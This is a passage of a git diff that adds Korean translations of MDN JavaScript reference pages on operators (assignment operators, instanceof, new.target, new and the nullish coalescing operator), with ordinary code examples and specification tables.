+ <dt>{{JSxRef("Operators/Exponentiation_assignment", "**=")}}</dt>
+ <dd>Exponentiation assignment.</dd>
+ <dt>{{JSxRef("Operators/Division_assignment", "/=")}}</dt>
+ <dd>나눗셈 할당.</dd>
+ <dt>{{JSxRef("Operators/Remainder_assignment", "%=")}}</dt>
+ <dd>나머지 할당.</dd>
+ <dt>{{JSxRef("Operators/Addition_assignment", "+=")}}</dt>
+ <dd>덧셈 할당.</dd>
+ <dt>{{JSxRef("Operators/Subtraction_assignment", "-=")}}</dt>
+ <dd>뺄셈 할당</dd>
+ <dt>{{JSxRef("Operators/Left_shift_assignment", "&lt;&lt;=")}}</dt>
+ <dd>좌로 이동 할당.</dd>
+ <dt>{{JSxRef("Operators/Right_shift_assignment", "&gt;&gt;=")}}</dt>
+ <dd>우로 이동 할당.</dd>
+ <dt>{{JSxRef("Operators/Unsigned_right_shift_assignment", "&gt;&gt;&gt;=")}}</dt>
+ <dd>부호 없는 우로 이동 할당.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_AND_assignment", "&amp;=")}}</dt>
+ <dd>비트 AND 할당.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_XOR_assignment", "^=")}}</dt>
+ <dd>비트 XOR 할당.</dd>
+ <dt>{{JSxRef("Operators/Bitwise_OR_assignment", "|=")}}</dt>
+ <dd>비트 OR 할당.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Operators/Logical_AND_assignment", "&amp;&amp;=")}}</dt>
+ <dd>논리적 AND 할당.</dd>
+ <dt>{{JSxRef("Operators/Logical_OR_assignment", "||=")}}</dt>
+ <dd>논리적 OR 할당.</dd>
+ <dt>{{JSxRef("Operators/Logical_nullish_assignment", "??=")}}</dt>
+ <dd>논리적 nullish 할당.</dd>
+</dl>
+
+<dl>
+ <dt>{{JSxRef("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
+ {{JSxRef("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt>
+ <dd>
+ <p>구조 분해 할당은 배열 또는 객체의 속성을 배열 또는 객체 리터럴과 비슷해 보이는 구문을 사용하여 변수에 할당할 수 있게 합니다.</p>
+ </dd>
+</dl>
+
+<h3 id="쉼표_연산자">쉼표 연산자</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt>
+ <dd>쉼표 연산자는 여러 식을 단문으로 평가되게 하고 마지막 식의 결과를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/연산자_우선순위">연산자 우선순위</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/instanceof/index.html b/files/ko/web/javascript/reference/operators/instanceof/index.html
new file mode 100644
index 0000000000..0ac15b7ffe
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/instanceof/index.html
@@ -0,0 +1,161 @@
+---
+title: instanceof
+slug: Web/JavaScript/Reference/Operators/instanceof
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+  - Relational Operators
+translation_of: Web/JavaScript/Reference/Operators/instanceof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>instanceof</code> 연산자</strong>는 생성자의 <code>prototype</code> 속성이 객체의 프로토타입 체인 어딘가 존재하는지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>object</em> instanceof <em>constructor</em></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>판별할 객체.</dd>
+ <dt><code>constructor</code></dt>
+ <dd>판별 목표 함수.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>instanceof</code> 연산자는 <code>object</code>의 프로토타입 체인에 <code>constructor.prototype</code>이 존재하는지 판별합니다.</p>
+
+<pre class="brush: js">// 생성자 정의
+function C(){}
+function D(){}
+
+var o = new C();
+
+// true, 왜냐하면 Object.getPrototypeOf(o) === C.prototype
+o instanceof C;
+
+// false, 왜냐하면 D.prototype이 o 객체의 프로토타입 체인에 없음
+o instanceof D;
+
+o instanceof Object; // true, 왜냐하면
+C.prototype instanceof Object // true
+
+C.prototype = {};
+var o2 = new C();
+
+o2 instanceof C; // true
+
+// false, 왜냐하면 C.prototype이
+// 더 이상 o의 프로토타입 체인에 없음
+o instanceof C;
+
+D.prototype = new C(); // C를 D의 [[Prototype]] 링크로 추가
+var o3 = new D();
+o3 instanceof D; // true
+o3 instanceof C; // true, 왜냐하면 이제 C.prototype이 o3의 프로토타입 체인에 존재
+</pre>
+
+<p><code>instanceof</code> 의 값은 생성자 <code>prototype</code> 프로퍼티의 변화에 따라 바뀔수 있으며, <code>Object.setPrototypeOf</code>의 사용함에 따라서도 바뀔 수 있음에 주의하세요. 또한 non-standard의 <code>__proto__ </code>슈도-프로퍼티도 사용할 수 있도록 만들어 줍니다.</p>
+
+<h3 id="instanceof_와_multiple_context_(예._프레임_또는_창)"><code>instanceof</code> 와 multiple context (예. 프레임 또는 창)</h3>
+
+<p>다른 스코프는 다른 실행 환경을 가집니다. 이것은 다른 스코프는 다른 고정된 요소들(다른 전역 오브젝트, 다른 생성자들 등)을 가지고 있음을 의미합니다. 이 사실은 예상치 못한 결과를 가져올 수도 있습니다. 예를 들면, []  <code>instanceof window.frames[0].Array</code>는 <code>false</code>를 리턴할 것입니다. 왜냐하면, <code>Array.prototype !== </code><code>window.frames[0].Array</code> 이며, arrays 는 상위로부터 상속받기 때문입니다. 이것은 처음에는 말이 되지 않을 수도 있습니다. 하지만, 스크립트에서 여러 프레임이나 창을 다루며, 객체를 함수를 통하여 하나의 컨텍스트에서 다른 컨텍스트로 오브젝트를 넘기게 된다면,  이건 충분히 일어날 수 있는 일이며, 아주 큰 이슈가 될 것입니다. 예를 들어, 주어진 오브젝트가 실제로 <code>Array.isArray(myObj)</code>를 사용한 Array인지 안전하게 확인 할 수 있습니다. </p>
+
+<div class="note"><strong>Mozilla 개발자들을 위한 메모:</strong><br>
+XPCOM <code>instanceof</code> 을 사용하는 코드에서는 특별한 효과를 가집니다. :  <code>obj instanceof </code><em><code>xpcomInterface </code></em>(예. <code>Components.interfaces.nsIFile</code>)가 <code>obj.QueryInterface(<em>xpcomInterface</em>)</code>를<code> </code>호출하고, 만약 QueryInterface 가 성공하면 <code>true</code> 를 리턴합니다. 이 호출의 부가 효과로는 <code>obj</code> 에서 성공적인 <code>instanceof</code> 테스트 후에 <em><code>xpcomInterface</code></em>'s의 프로퍼티를 사용할 수 있습니다. 스탠다드 JavaScript 전역속성들과는 달리, 테스트 <code>obj instanceof xpcomInterface</code>는 <code>obj</code>가 다른 스코프에 있더라도 작동합니다.</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="String과_Date는_타입_Object이며_예외적인_경우임을_입증하기"><code>String</code>과 <code>Date</code>는 타입 <code>Object</code>이며, 예외적인 경우임을 입증하기</h3>
+
+<p>아래의 코드는 <code>instanceof</code> 를 <code>String</code> 과 <code>Date</code> 오브젝트도 타입 <code>Object</code>임을 확인하기 위해 사용합니다.(이 오브젝트들은 <code>Object </code>로부터 파생되었습니다.)</p>
+
+<p>그러나, 여기서 오브젝트 리터럴 노테이션으로 생성된 오브젝트는 예외적입니다. : 비록 프로토 타입이 정의되지 않았지만, <code>instanceof Object</code>는<code> true</code>를 리턴합니다.</p>
+
+<pre class="brush: js">var simpleStr = "This is a simple string";
+var myString  = new String();
+var newStr    = new String("String created with constructor");
+var myDate    = new Date();
+var myObj     = {};
+
+simpleStr instanceof String; // returns false, prototype chain을 확인하고, undefined를 찾는다.
+myString  instanceof String; // returns true
+newStr    instanceof String; // returns true
+myString  instanceof Object; // returns true
+
+myObj instanceof Object;    // returns true, undefined prototype 임에도 불구하고 true.
+({})  instanceof Object;    // returns true, 위의 경우와 동일.
+
+myString instanceof Date;   // returns false
+
+myDate instanceof Date;     // returns true
+myDate instanceof Object;   // returns true
+myDate instanceof String;   // returns false
+</pre>
+
+<h3 id="mycar는_타입_Car와_타입_Object임을_입증하기"><code>mycar</code>는 타입 <code>Car</code>와 타입 <code>Object</code>임을 입증하기</h3>
+
+<p>다음의 코드는 <code>Car</code> 오브젝트 타입과 그 오브젝트 타입의 인스턴스 <code>mycar</code>를 생성합니다. <code>instanceof</code> 연산자는 <code>mycar</code> 오브젝트는 타입 <code>Car</code> 와 타입 <code>Object </code>라는 것은 보여줍니다.</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+var mycar = new Car("Honda", "Accord", 1998);
+var a = mycar instanceof Car;    // returns true
+var b = mycar instanceof Object; // returns true
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>
+    <p>초기 정의. JavaScript 1.4에서 구현됨.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.instanceof")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li>{{jsxref("Symbol.hasInstance")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/new.target/index.html b/files/ko/web/javascript/reference/operators/new.target/index.html
new file mode 100644
index 0000000000..9c480c1513
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/new.target/index.html
@@ -0,0 +1,93 @@
+---
+title: new.target
+slug: Web/JavaScript/Reference/Operators/new.target
+tags:
+  - Classes
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/new.target
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p><strong><code>new.target</code></strong> 속성(property)은 함수 또는 생성자가 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a> 연산자를 사용하여 호출됐는지를 감지할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a> 연산자로 인스턴스화된 생성자 및 함수에서, <code>new.target</code>은 생성자 또는 함수 참조를 반환합니다. 일반 함수 호출에서는, <code>new.target</code>은 {{jsxref("undefined")}}입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-newtarget.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new.target</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>new.target</code> 구문은 키워드 "<code>new</code>", 점 및 속성명 "<code>target</code>"으로 구성됩니다. 보통 "<code>new.</code>"은 속성 접근을 위한 문맥(context)으로 제공하지만 여기서 "<code>new.</code>"은 정말 객체가 아닙니다. 그러나, 생성자 호출에서 <code>new.target</code>은 <code>new</code>에 의해 호출된 생성자를 가리키고 그래서 "<code>new.</code>"은 가상 문맥이 됩니다.</p>
+
+<p><code>new.target</code> 속성은 모든 함수가 이용할 수 있는 메타 속성입니다. <a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a>에서, <code>new.target</code>은 둘러싸는 함수의 <code>new.target</code>을 말합니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="함수_호출에서_new.target">함수 호출에서 new.target</h3>
+
+<p>일반 함수 호출(생성자 함수 호출과는 반대로)에서, <code>new.target</code>은 {{jsxref("undefined")}}입니다. 이는 함수가 생성자로서 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a>로 호출된 경우를 감지할 수 있습니다.</p>
+
+<pre class="brush: js">function Foo() {
+  if (!new.target) throw "Foo() must be called with new";
+  console.log("Foo instantiated with new");
+}
+
+Foo(); // throws "Foo() must be called with new"
+new Foo(); // logs "Foo instantiated with new"
+</pre>
+
+<h3 id="생성자에서_new.target">생성자에서 new.target</h3>
+
+<p>클래스 생성자에서, <code>new.target</code>은 <code>new</code>에 의해 직접 호출된 생성자를 가리킵니다. 이는 그 생성자가 부모 클래스에 있고 자식 생성자로부터 위임받은 경우도 그 경우입니다.</p>
+
+<pre class="brush: js">class A {
+  constructor() {
+    console.log(new.target.name);
+  }
+}
+
+class B extends A { constructor() { super(); } }
+
+var a = new A(); // logs "A"
+var b = new B(); // logs "B"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.new_target")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions">함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스</a></li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a></code></li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/this">this</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/new/index.html b/files/ko/web/javascript/reference/operators/new/index.html
new file mode 100644
index 0000000000..a28d21de18
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/new/index.html
@@ -0,0 +1,187 @@
+---
+title: new operator
+slug: Web/JavaScript/Reference/Operators/new
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/new
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>new</code> 연산자</strong>는 사용자 정의 객체 타입 또는 내장 객체 타입의 인스턴스를 생성한다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}</p>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new <em>constructor</em>[([<em>arguments</em>])]</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>constructor</code></dt>
+ <dd>객체 인스턴스의 타입을 기술(명세)하는 함수</dd>
+</dl>
+
+<dl>
+ <dt><code>arguments</code></dt>
+ <dd><code>constructor</code>와 함께 호출될 값 목록</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>사용자 정의 객체를 생성에는 두 단계가 필요하다:</p>
+
+<ol>
+ <li>함수를 작성하여 객체 타입을 정의한다.</li>
+ <li><code>new</code> 연산자로 객체의 인스턴스를 생성한다.</li>
+</ol>
+
+<p>객체의 타입을 정의하기 위해, 객체의 이름과 속성을 명세하는 함수를 만든다. 객체는 그 자체가 또 다른 객체인 속성을 가질 수 있다. 아래의 예를 본다.</p>
+
+<p>코드 <code>new Foo(...)</code>가 실행될 때 다음과 같은 일이 발생한다:</p>
+
+<ol>
+ <li><code>Foo.prototype</code>을 상속하는 새로운 객체가 하나 생성된다.</li>
+ <li>명시된 인자 그리고 새롭게 생성된 객체에 바인드된 this와 함께 생성자 함수 <code>Foo</code>가 호출된다.<code>new Foo</code>는 <code>new Foo()</code>와 동일하다. 즉 인자가 명시되지 않은 경우, 인자 없이 <code>Foo</code>가 호출된다.</li>
+ <li>생성자 함수에 의해 리턴된 객체는 전체 <code>new</code> 호출 결과가 된다. 만약 생성자 함수가 명시적으로 객체를 리턴하지 않는 경우, 첫 번째 단계에서 생성된 객체가 대신 사용된다.(일반적으로 생성자는 값을 리턴하지 않는다. 그러나 일반적인 객체 생성을 재정의(override)하기 원한다면 그렇게 하도록 선택할 수 있다.)</li>
+</ol>
+
+<p>언제든 이전에 정의된 객체에 속성을 추가할 수 있다. 예를 들면, <code>car1.color = "black"</code> 구문은 <code>color</code> 속성을 <code>car1</code>에 추가하고 해당 속성에 "<code>black</code>"이란 값을 할당한다. 그러나, 이것이 다른 객체들에게는 영향을 주지 않는다. 동일한 타입의 모든 객체들에게 새로운 속성을 추가하려면, <code>Car</code> 객체 타입의 정의에 이 속성을 추가해야한다.</p>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code> 속성을 사용하여 이전에 정의된 객체 타입에 공유 속성을 추가할 수 있다. 이것은 객체 타입의 인스턴스 하나에만 적용되는 것이 아니라 이 함수로 생성하는 모든 객체와 공유하는 속성을 정의한다.</p>
+
+<p>다음의 코드는 <code>car</code> 타입의 모든 객체에 "<code>original color</code>" 값을 갖는 color 속성을 추가한다. 그리고 <code>car1</code> 객체 인스턴스에서만 이 값을 문자열 "<code>black</code>"으로 덮어쓴다. 더 많은 정보는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>을 참조한다.</p>
+
+<pre class="brush: js">function Car() {}
+car1 = new Car();
+car2 = new Car();
+
+console.log(car1.color);    // undefined
+
+Car.prototype.color = "original color";
+console.log(car1.color);    // original color
+
+car1.color = 'black';
+console.log(car1.color);   // black
+
+console.log(car1.__proto__.color) //original color
+console.log(car2.__proto__.color) //original color
+console.log(car1.color)  // black
+console.log(car2.color) // original color
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체_타입과_객체_인스턴스">객체 타입과 객체 인스턴스</h3>
+
+<p>cars를 위한 객체 타입을 생성하기 원한다고 가정해 보자. 이 객체 타입이 <code>car</code>로 불리기 원하고, make, model, 그리고 year 속성을 갖게 하고 싶다. 이렇게 하기 위해서 다음과 같은 함수를 작성할 것이다:</p>
+
+<pre class="brush: js">function Car(make, model, year) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+}
+</pre>
+
+<p>이제 다음과 같이, <code>mycar</code>로 불리는 객체를 생성할 수 있다:</p>
+
+<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
+</pre>
+
+<p>이 구문은 <code>mycar</code> 를 생성하고 명시한 값을 속성값으로 설정한다. 그래서 <code>mycar.make</code>의 값은 문자열 "Eagle"이고, <code>mycar.year</code>는 정수 1993이며 나머지도 마찬가지이다.</p>
+
+<p><code>new</code>를 호출해서 얼마든지 <code>car</code> 객체를 생성할 수 있다. 예를 들면:</p>
+
+<pre class="brush: js">var kenscar = new Car("Nissan", "300ZX", 1992);
+</pre>
+
+<h3 id="속성_그_자신이_다른_객체인_객체의_속성">속성 그 자신이 다른 객체인 객체의 속성</h3>
+
+<p><code>person</code>이라고 불리는 객체를 다음과 같이 정의한다고 가정해보자:</p>
+
+<pre class="brush: js">function Person(name, age, sex) {
+  this.name = name;
+  this.age = age;
+  this.sex = sex;
+}
+</pre>
+
+<p>그리고 다음과 같이 두 개의 <code>person</code> 객체 인스턴스를 새롭게 생성한다:</p>
+
+<pre class="brush: js">var rand = new Person("Rand McNally", 33, "M");
+var ken = new Person("Ken Jones", 39, "M");
+</pre>
+
+<p>그런 다음 <code>owner</code> 속성을 포함하는 <code>car</code>의 정의를 다시 쓸 수 있다. 이 owner 속성은 다음과 같은 person 객체를 취한다:</p>
+
+<pre class="brush: js">function Car(make, model, year, owner) {
+  this.make = make;
+  this.model = model;
+  this.year = year;
+  this.owner = owner;
+}
+</pre>
+
+<p>새로운 객체의 인스턴스를 생성하기 위해 다음과 같이 사용한다:</p>
+
+<pre class="brush: js">var car1 = new Car("Eagle", "Talon TSi", 1993, rand);
+var car2 = new Car("Nissan", "300ZX", 1992, ken);
+</pre>
+
+<p>새로운 객체를 생성할 때 문자열이나 숫자 값을 넘겨주는 대신에, 위의 구문은 owner를 위한 매개변수로 <code>rand</code>와 <code>ken</code> 객체를 넘겨준다. <code>car2</code>의 owner name을 확인해보기 위해서, 다음의 속성에 접근할 수 있다:</p>
+
+<pre class="brush: js">car2.owner.name
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-new-operator', 'The new Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-new-operator', 'The new Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.2.2', 'The new Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.new")}}</p>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+ <li>{{jsxref("Object.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ko/web/javascript/reference/operators/nullish_coalescing_operator/index.html
new file mode 100644
index 0000000000..cae74ea29d
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/nullish_coalescing_operator/index.html
@@ -0,0 +1,161 @@
+---
+title: Nullish coalescing operator
+slug: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
+translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
+---
+<p>{{JSSidebar("Operators")}}</p>
+
+<p><strong>널 병합 연산자 (<code>??</code>)</strong> 는 왼쪽 피연산자가 {{jsxref("null")}} 또는 {{jsxref("undefined")}}일 때 오른쪽 피연산자를 반환하고, 그렇지 않으면 왼쪽 피연산자를 반환하는 논리 연산자이다.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">논리 연산자 OR (<code>||</code>)</a>와 달리, 왼쪽 피연산자가 <code>null</code> 또는 <code>undefined</code>가 아닌 <em><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Description">falsy</a> </em>값이면 반환된다. 즉, 만약 다른 변수 foo에게 기본 값을 제공하기 위해 <code>||</code>을 사용 경우, <em><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Description">falsy</a> </em>값( <code>''</code> 또는 <code>0</code>)을 사용하는 것을 고려했다면 예기치 않는 동작이 발생할 수 있다. 더 많은 예제는 아래를 보자.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.<br>
+ 이 예제의 추가는 <a href="https://github.com/mdn/interactive-examples/pull/1482#issuecomment-553841750">PR #1482</a>를 참조해라.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate"><var>leftExpr</var> ?? <var>rightExpr</var>
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>널 병합 연산자는 만약 왼쪽 표현식이 {{jsxref("null")}} 또는 {{jsxref("undefined")}}인 경우, 오른쪽 표현식의 결과를 반환한다.</p>
+
+<h3 id="변수에_기본값_할당">변수에 기본값 할당</h3>
+
+<p>이전에는 변수에 기본값을 할당하고 싶을 때, 논리 연산자 OR (<code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">||</a></code>)을 사용하는 것이 일반적인 패턴이다:</p>
+
+<pre class="brush: js notranslate">let foo;
+...
+//  foo is never assigned any value so it is still undefined
+let someDummyText = foo || 'Hello!';</pre>
+
+<p>그러나 <code>||</code> boolean 논리 연산자 때문에, 왼쪽 피연산자는 boolean으로 강제로 변환되었고 <em>falsy</em> 한 값(<code>0</code>, <code>''</code>, <code>NaN</code>, <code>null</code>, <code>undefined</code>)은 반환되지 않았다. 이 동작은 만약 <code>0</code>, <code>''</code> or <code>NaN</code>을 유효한 값으로 생각한 경우 예기치 않는 결과를 초래할 수 있다.</p>
+
+<pre class="brush: js notranslate">let count;
+let text;
+...
+count = 0;
+text = "";
+...
+let qty = count || 42;
+let message = text || "hi!";
+console.log(qty);     // 42 and not 0
+console.log(message); // "hi!" and not ""
+</pre>
+
+<p>널 병합 연산자는 첫 번째 연산자가 <code>null</code> 또는 <code>undefined</code>로 평가될 때만, 두 번째 피연산자를 반환함으로써 이러한 위험을 피한다:</p>
+
+<pre class="brush: js notranslate">let myText = ''; // An empty string (which is also a falsy value)
+
+let notFalsyText = myText || 'Hello world';
+console.log(notFalsyText); // Hello world
+
+let preservingFalsy = myText ?? 'Hi neighborhood';
+console.log(preservingFalsy); // '' (as myText is neither undefined nor null)
+</pre>
+
+<h3 id="단락">단락</h3>
+
+<p>OR과 AND 같은 논리 연산자들과 마찬가지로, 만약 왼쪽이 <code>null</code> 또는 <code>undefined</code>가 아님이 판명되면 오른쪽 표현식은 평가되지 않는다.</p>
+
+<pre class="brush: js notranslate">function A() { console.log('A was called'); return undefined;}
+function B() { console.log('B was called'); return false;}
+function C() { console.log('C was called'); return "foo";}
+
+console.log( A() ?? C() );
+// logs "A was called" then "C was called" and then "foo"
+// as A() returned undefined so both expressions are evaluated
+
+console.log( B() ?? C() );
+// logs "B was called" then "false"
+// as B() returned false (and not null or undefined), the right
+// hand side expression was not evaluated
+</pre>
+
+<h3 id="No_chaining_with_AND_or_OR_operators">No chaining with AND or OR operators</h3>
+
+<p>AND (<code>&amp;&amp;</code>) 와 OR 연산자 (<code>||</code>)를 <code>??</code>와 직접적으로 결합하여 사용하는 것은 불가능하다. 이 경우 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code>가 발생된다.</p>
+
+<pre class="brush: js notranslate">null || undefined ?? "foo"; // raises a SyntaxError
+true || undefined ?? "foo"; // raises a SyntaxError</pre>
+
+<p>그러나 우선 순위를 명시적으로 나타내기 위해 괄호를 사용하면 가능하다:</p>
+
+<pre class="brush: js notranslate">(null || undefined ) ?? "foo"; // returns "foo"
+</pre>
+
+<h3 id="Optional_chaining_연산자.와의_관계">Optional chaining 연산자(<code>?.</code>)와의 관계</h3>
+
+<p>널 병합 연산자는 명확한 값으로 <code>undefined</code>과 <code>null</code>을 처리하고, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">optional chaining 연산자 (<code>?.</code>)</a>는 <code>null</code> or <code>undefined</code>일 수 있는 객체의 속성에 접근할 때 유용하다.</p>
+
+<pre class="brush: js notranslate">let foo = { someFooProp: "hi" };
+
+console.log(foo.someFooProp?.toUpperCase());  // "HI"
+console.log(foo.someBarProp?.toUpperCase()); // undefined
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이 예제는 기본 값을 제공하지만 <code>null</code> or <code>undefined</code> 이외의 값을 를 유지한다. </p>
+
+<pre class="brush: js notranslate">function getMiscObj(){
+  return {
+    aNullProperty: null,
+    emptyText: "", // this is not falsy
+    someNumber: 42
+  };
+};
+
+const miscObj = getMiscObj();
+
+const newObj = {};
+newObj.propA = miscObj.aNullProperty ?? "default for A";
+newObj.propB = miscObj.emptyText ?? "default for B";
+newObj.propC = miscObj.someNumber ?? 0;
+
+console.log(newObj.propA); // "default for A"
+console.log(newObj.propB); // "" (as the empty string is not null or undefined)
+console.log(newObj.propC); // 42
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.es/proposal-nullish-coalescing/#top">Proposal for the "nullish coalescing" operator</a></td>
+   <td>Stage 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.nullish_coalescing")}}</p>
+
